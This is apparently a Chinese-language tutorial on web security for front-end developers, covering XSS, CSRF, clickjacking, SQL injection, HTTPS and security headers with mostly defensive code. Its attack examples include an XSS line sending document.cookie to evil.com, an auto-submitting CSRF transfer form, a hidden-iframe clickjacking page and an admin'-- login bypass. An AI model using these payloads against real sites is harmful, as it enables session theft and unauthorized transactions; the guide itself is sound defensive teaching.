Web 安全防护完全指南

Created on

前言

“安全问题离我很远”——这是很多前端开发者的误解。然而,一次 XSS 攻击就可能导致用户数据泄露,一次 CSRF 攻击就可能让用户财产受损。本文将系统讲解 Web 安全的核心知识和防护方案。

OWASP Top 10

OWASP (Open Web Application Security Project) 发布的十大 Web 安全风险:

  1. 注入攻击 (Injection)
  2. 失效的身份认证 (Broken Authentication)
  3. 敏感数据暴露 (Sensitive Data Exposure)
  4. XML 外部实体 (XXE)
  5. 失效的访问控制 (Broken Access Control)
  6. 安全配置错误 (Security Misconfiguration)
  7. 跨站脚本 (XSS)
  8. 不安全的反序列化 (Insecure Deserialization)
  9. 使用含有已知漏洞的组件
  10. 不足的日志记录和监控

XSS (跨站脚本攻击)

什么是 XSS?

XSS (Cross-Site Scripting) 是指攻击者在网页中注入恶意脚本,当其他用户浏览该网页时,恶意脚本会在用户的浏览器中执行。

XSS 的类型

1. 存储型 XSS (Stored XSS)

恶意脚本被存储在服务器数据库中。

// 攻击示例:用户在评论区输入
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

// 当其他用户查看评论时,脚本执行,Cookie 被盗取

2. 反射型 XSS (Reflected XSS)

恶意脚本通过 URL 参数传递。

// 攻击链接
//example.com/search?q=<script>alert('XSS')</script>

// 服务器直接将参数渲染到页面
https: <div>
  搜索结果: <script>alert('XSS')</script>
</div>;

3. DOM 型 XSS

通过修改 DOM 结构注入脚本。

// 易受攻击的代码
const keyword = window.location.hash.slice(1);
document.getElementById('result').innerHTML = keyword;

// 攻击 URL
https://example.com/#<img src=x onerror="alert('XSS')">

XSS 防护方案

1. 输入验证和过滤

// 后端验证
function sanitizeInput(input) {
  // 移除 HTML 标签
  return input.replace(/<[^>]*>/g, "");
}

// 前端使用白名单
const allowedTags = ["b", "i", "em", "strong"];
function sanitizeHTML(html) {
  const div = document.createElement("div");
  div.innerHTML = html;

  // 移除不在白名单中的标签
  const elements = div.querySelectorAll("*");
  elements.forEach((el) => {
    if (!allowedTags.includes(el.tagName.toLowerCase())) {
      el.replaceWith(...el.childNodes);
    }
  });

  return div.innerHTML;
}

2. 输出转义

// HTML转义函数
function escapeHTML(str) {
  const map = {
    "&": "&amp;",
    "<": "&lt;",
    ">": "&gt;",
    '"': "&quot;",
    "'": "&#x27;",
    "/": "&#x2F;",
  };
  return str.replace(/[&<>"'/]/g, (char) => map[char]);
}

// 使用示例
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHTML(userInput);
// 输出: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

3. 使用安全的 API

// ❌ 危险:使用 innerHTML
element.innerHTML = userInput;

// ✅ 安全:使用 textContent
element.textContent = userInput;

// ✅ 安全:使用 createTextNode
const textNode = document.createTextNode(userInput);
element.appendChild(textNode);

// React 自动转义
function Comment({ text }) {
  return <div>{text}</div>; // 自动转义
}

// Vue 中使用插值
<template>
  <div>{{ userInput }}</div>  <!-- 自动转义 -->
</template>

4. CSP (Content Security Policy)

<!-- 通过 HTTP Header 设置 -->
Content-Security-Policy: default-src 'self'; script-src 'self'
https://trusted.com

<!-- 或通过 meta 标签 -->
<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self'"
/>
// Express 中设置 CSP
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
  );
  next();
});
// 设置 HttpOnly,防止 JavaScript 访问 Cookie
res.cookie("session", sessionId, {
  httpOnly: true, // 防止 XSS 窃取
  secure: true, // 仅 HTTPS 传输
  sameSite: "strict", // 防止 CSRF
});

CSRF (跨站请求伪造)

什么是 CSRF?

CSRF (Cross-Site Request Forgery) 是指攻击者诱导用户访问恶意网站,利用用户的登录状态向目标网站发送恶意请求。

CSRF 攻击示例

<!-- 攻击者的网站 evil.com -->
<img
  src="https://bank.com/transfer?to=attacker&amount=1000"
  style="display:none"
/>

<!-- 或使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST" id="hack">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>
  document.getElementById("hack").submit();
</script>

当已登录 bank.com 的用户访问 evil.com 时,浏览器会自动带上 bank.com 的 Cookie,完成转账操作。

CSRF 防护方案

1. CSRF Token

// 服务器生成 Token
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;

// 在表单中包含 Token
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="<%= csrfToken %>">
  <input type="text" name="to">
  <input type="number" name="amount">
  <button type="submit">Transfer</button>
</form>

// 服务器验证 Token
app.post('/transfer', (req, res) => {
  if (req.body.csrf_token !== req.session.csrfToken) {
    return res.status(403).send('Invalid CSRF token');
  }
  // 处理转账逻辑
});
// 设置 SameSite 属性
res.cookie("session", sessionId, {
  sameSite: "strict", // 严格模式:完全禁止第三方请求携带 Cookie
  // sameSite: 'lax',   // 宽松模式:允许部分第三方请求(GET 导航)
  // sameSite: 'none',  // 无限制:需要配合 secure=true
});

SameSite 取值说明:

// 前端从 Cookie 读取 token 并放入请求头
const csrfToken = getCookie("XSRF-TOKEN");
fetch("/api/transfer", {
  method: "POST",
  headers: {
    "X-XSRF-TOKEN": csrfToken,
  },
  body: JSON.stringify(data),
});

// 后端验证 Cookie 和 Header 中的 token 是否一致
app.post("/api/transfer", (req, res) => {
  const cookieToken = req.cookies["XSRF-TOKEN"];
  const headerToken = req.headers["x-xsrf-token"];

  if (cookieToken !== headerToken) {
    return res.status(403).send("CSRF validation failed");
  }
  // 处理请求
});

4. 验证 Referer/Origin

app.use((req, res, next) => {
  const origin = req.headers.origin;
  const referer = req.headers.referer;

  const allowedOrigins = ["https://example.com"];

  if (!allowedOrigins.includes(origin)) {
    return res.status(403).send("Invalid origin");
  }

  next();
});

点击劫持 (Clickjacking)

什么是点击劫持?

攻击者使用透明的 iframe 覆盖在正常页面上,诱导用户点击。

<!-- 攻击者网站 -->
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0; /* 完全透明 */
    z-index: 9999;
  }
</style>

<h1>点击领取红包</h1>
<iframe src="https://bank.com/transfer"></iframe>

防护方案

1. X-Frame-Options

// 禁止被嵌入 iframe
app.use((req, res, next) => {
  res.setHeader("X-Frame-Options", "DENY");
  // 或允许同源
  // res.setHeader('X-Frame-Options', 'SAMEORIGIN');
  next();
});

2. CSP frame-ancestors

res.setHeader(
  "Content-Security-Policy",
  "frame-ancestors 'none'" // 完全禁止
  // "frame-ancestors 'self'" // 仅允许同源
);

3. JavaScript 防御

// 检测是否被嵌入
if (window !== window.top) {
  // 跳出 iframe
  window.top.location = window.location;
}

SQL 注入

什么是 SQL 注入?

攻击者通过在输入中插入 SQL 代码,控制数据库查询。

// ❌ 易受攻击的代码
const username = req.body.username;
const password = req.body.password;
const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;

// 攻击输入
// username: admin'--
// password: anything

// 实际执行的 SQL
SELECT * FROM users WHERE username='admin'--' AND password='anything'
// -- 是注释符,后面的密码验证被注释掉

防护方案

// ✅ 使用参数化查询
const query = "SELECT * FROM users WHERE username=? AND password=?";
db.query(query, [username, password], (err, results) => {
  // 处理结果
});

// ✅ 使用 ORM
const user = await User.findOne({
  where: {
    username: username,
    password: password,
  },
});

// ✅ 输入验证
function validateUsername(username) {
  // 只允许字母数字下划线
  return /^[a-zA-Z0-9_]+$/.test(username);
}

HTTPS 和中间人攻击

为什么需要 HTTPS?

HTTP 是明文传输,容易被窃听和篡改。HTTPS 通过 TLS/SSL 加密通信。

配置 HTTPS

// Node.js 中使用 HTTPS
const https = require("https");
const fs = require("fs");

const options = {
  key: fs.readFileSync("private-key.pem"),
  cert: fs.readFileSync("certificate.pem"),
};

https.createServer(options, app).listen(443);

Strict-Transport-Security (HSTS)

// 强制客户端使用 HTTPS
app.use((req, res, next) => {
  res.setHeader(
    "Strict-Transport-Security",
    "max-age=31536000; includeSubDomains"
  );
  next();
});

证书钉扎 (Certificate Pinning)

// 在客户端验证证书指纹
const expectedFingerprint = "SHA256:abc123...";

fetch("https://api.example.com/data", {
  // 浏览器不直接支持,需要使用原生应用
});

敏感信息保护

1. 不要在前端存储敏感信息

// ❌ 错误做法
localStorage.setItem("password", password);
localStorage.setItem("credit_card", cardNumber);

// ✅ 正确做法
// 敏感信息只在后端处理
// 前端只存储必要的 token
localStorage.setItem("token", accessToken);

2. 敏感数据传输加密

// 使用 HTTPS 传输
// 对敏感字段进行额外加密
async function encryptData(data) {
  const encoder = new TextEncoder();
  const dataBuffer = encoder.encode(data);

  const key = await crypto.subtle.generateKey(
    { name: "AES-GCM", length: 256 },
    true,
    ["encrypt", "decrypt"]
  );

  const iv = crypto.getRandomValues(new Uint8Array(12));
  const encrypted = await crypto.subtle.encrypt(
    { name: "AES-GCM", iv },
    key,
    dataBuffer
  );

  return { encrypted, iv };
}

3. 日志脱敏

function sanitizeLog(data) {
  const sensitive = ["password", "token", "credit_card"];
  const sanitized = { ...data };

  sensitive.forEach((field) => {
    if (sanitized[field]) {
      sanitized[field] = "***";
    }
  });

  return sanitized;
}

console.log(sanitizeLog(userInput));

依赖安全

1. 定期检查漏洞

# npm 审计
npm audit

# 自动修复
npm audit fix

# 查看详细报告
npm audit --json

2. 使用 Snyk

# 安装 Snyk
npm install -g snyk

# 测试项目
snyk test

# 监控项目
snyk monitor

3. Dependabot (GitHub)

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10

安全 Headers 完整配置

// Express 中间件
const helmet = require("helmet");

app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", "'unsafe-inline'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:", "https:"],
        connectSrc: ["'self'"],
        fontSrc: ["'self'"],
        objectSrc: ["'none'"],
        mediaSrc: ["'self'"],
        frameSrc: ["'none'"],
      },
    },
    hsts: {
      maxAge: 31536000,
      includeSubDomains: true,
      preload: true,
    },
    frameguard: {
      action: "deny",
    },
    noSniff: true,
    ieNoOpen: true,
    xssFilter: true,
  })
);

// 手动设置其他 Headers
app.use((req, res, next) => {
  // 禁止缓存敏感页面
  res.setHeader(
    "Cache-Control",
    "no-store, no-cache, must-revalidate, proxy-revalidate"
  );
  res.setHeader("Pragma", "no-cache");
  res.setHeader("Expires", "0");

  // 下载文件时防止类型嗅探
  res.setHeader("X-Content-Type-Options", "nosniff");

  // 控制 Referer 信息
  res.setHeader("Referrer-Policy", "strict-origin-when-cross-origin");

  // 权限策略
  res.setHeader(
    "Permissions-Policy",
    "geolocation=(), microphone=(), camera=()"
  );

  next();
});

前端安全检查清单

开发阶段

构建阶段

部署阶段

运维阶段

总结

Web 安全是一个系统工程,需要前后端配合:

  1. 输入验证:永远不信任用户输入
  2. 输出转义:在显示用户数据时进行转义
  3. 最小权限原则:只给必需的权限
  4. 纵深防御:多层防护措施
  5. 持续监控:及时发现和响应安全事件

记住:安全是一个持续的过程,而不是一次性的任务。

参考资源